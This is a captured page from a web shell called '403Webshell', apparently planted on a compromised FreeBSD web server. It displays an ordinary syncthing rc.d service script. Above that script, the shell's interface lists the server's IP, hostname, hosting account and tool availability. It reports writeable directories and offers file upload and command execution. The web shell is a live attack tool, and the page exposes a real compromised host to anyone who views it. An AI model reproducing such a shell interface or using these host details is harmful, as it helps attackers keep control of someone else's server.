403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/syncthing/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/syncthing/files/syncthing-relaypoolsrv.in
#!/bin/sh

# PROVIDE: syncthingrelaypoolsrv
# REQUIRE: DAEMON
# KEYWORD: shutdown
#
# Add the following lines to /etc/rc.conf.local or /etc/rc.conf
# to enable this service:
#
# syncthingrelaypoolsrv_enable (bool):      Set to NO by default.
#                                           Set it to YES to enable syncthing-relaypoolsrv.
# syncthingrelaypoolsrv_user (user):        Set user to run syncthing-relaypoolsrv.
#                                           Default is "syncthing".
# syncthingrelaypoolsrv_group (group):      Set group to run syncthing-relaypoolsrv.
#                                           Default is "syncthing".
# syncthingrelaypoolsrv_dir (dir):          Set dir to run syncthing-relaypoolsrv in.
#                                           Default is "/var/db/syncthing-relaypoolsrv".
# syncthingrelaypoolsrv_log_file (path):    Syncthing log file
#                                           Default: /var/log/syncthing-relaypoolsrv.log
# syncthingrelaypoolsrv_args (string):      Extra args to pass to syncthing-relaypoolsrv
#                                           Default is ""

. /etc/rc.subr

name=syncthingrelaypoolsrv
rcvar=syncthingrelaypoolsrv_enable

load_rc_config $name

: ${syncthingrelaypoolsrv_enable:="NO"}
: ${syncthingrelaypoolsrv_user:="syncthing"}
: ${syncthingrelaypoolsrv_group:="syncthing"}
: ${syncthingrelaypoolsrv_dir:="/var/db/syncthing-relaypoolsrv"}
: ${syncthingrelaypoolsrv_log_file=/var/log/syncthing-relaypoolsrv.log}

export STNORESTART=true

pidfile=/var/run/syncthingrelaypoolsrv.pid
procname="%%PREFIX%%/bin/strelaypoolsrv"
command="/usr/sbin/daemon"
command_args="-c -p ${pidfile} ${procname} -keys ${syncthingrelaypoolsrv_dir} ${syncthingrelaypoolsrv_args} >> ${syncthingrelaypoolsrv_log_file} 2>&1"

start_precmd=syncthingrelaypoolsrv_startprecmd

syncthingrelaypoolsrv_startprecmd()
{
        if [ ! -e ${pidfile} ]; then
                install -o ${syncthingrelaypoolsrv_user} -g ${syncthingrelaypoolsrv_group} /dev/null ${pidfile};
        fi

        if [ ! -d ${syncthingrelaypoolsrv_dir} ]; then
                install -d -o ${syncthingrelaypoolsrv_user} -g ${syncthingrelaypoolsrv_group} ${syncthingrelaypoolsrv_dir}
        fi
        if [ ! -e ${syncthingrelaypoolsrv_log_file} ]; then
                install -o ${syncthingrelaypoolsrv_user} -g ${syncthingrelaypoolsrv_group} /dev/null ${syncthingrelaypoolsrv_log_file};
        fi
}

run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit